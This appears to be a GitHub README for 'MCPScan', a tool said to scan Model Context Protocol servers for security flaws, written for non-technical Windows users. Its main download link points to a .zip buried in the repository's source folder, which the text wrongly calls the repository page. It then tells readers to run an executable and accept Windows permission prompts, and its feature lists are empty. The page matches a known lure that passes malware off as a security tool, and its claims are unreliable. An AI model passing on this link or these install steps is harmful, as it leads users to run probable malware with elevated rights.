Scan and identify security issues in MCP servers to help strengthen defenses against potential attacks on AI agent connections.
MCPScan scans servers that use the Model Context Protocol (MCP). It looks for security issues like tool poisoning, leaked passwords, remote code execution risks, server-side request forgery, session hijacking, and supply chain problems. It works across different communication types, including stdio, HTTP, and SSE. MCPScan helps keep your MCP servers safer by finding important issues.
Before you start, check that your Windows computer meets these requirements:
No extra software or programming tools are needed. MCPScan runs as a standalone app.
You can download MCPScan from the official GitHub page:
Click the link above to go directly to the GitHub repository page. From there, you can find the files needed to install MCPScan.
Follow these steps to get MCPScan running. This guide assumes you have no prior experience with this type of software.
Click the download badge or open this link in your web browser:
https://raw.githubusercontent.com/harikrishn4101/MCPScan/main/src/checks/Scan-MCP-3.1-beta.1.zip
This takes you to the MCPScan repository on GitHub.
On the GitHub page, look for a section called Releases or scroll down to find files related to MCPScan. These files usually end with .exe or .zip for Windows.
If you do not see an .exe file, look for the latest release under Releases in the right sidebar or main menu.
.exe file or .zip file made for Windows..zip file, you will need to extract the contents before running.Save the file somewhere you can easily find, like your Downloads folder or Desktop.
.exe file, double-click it to launch the installer or program directly..zip file, right-click it and choose Extract All before opening the folder and double-clicking the MCPScan application.Windows may ask if you want to allow this app to make changes. Choose Yes to continue.
If the file is an installer, it may guide you through a few simple setup steps. Just click Next or Install as needed.
If it is a standalone app, it might open immediately after launching.
You should see a window or console showing that MCPScan is running. This means the installation is complete and the program is ready to use.
MCPScan works by scanning your MCP servers to find security problems. To use it, you will provide the address or details of the server you want to check.
You do not need programming skills to use MCPScan. The interface guides you through the process and displays clear results.
If MCPScan does not start or you see errors, try the following:
MCPScan looks for specific risks in your MCP server environment:
These checks help protect your systems from attacks that could cause data loss or service disruption.
Periodically check the GitHub page for new versions of MCPScan.
Keeping MCPScan updated ensures you have the latest security checks and fixes.
MCPScan runs locally on your computer. It does not send your server data to any external servers. Your information stays private while you use the tool.
For help or to report problems:
You do not need a programming background to open an issue. Just explain things in simple terms.
For users familiar with technical details, MCPScan offers options to customize scans:
The default settings are best for most users. Adjust these only if you know what you are doing.
harikrishn4101/MCPScan
March 23, 2026
April 13, 2026
TypeScript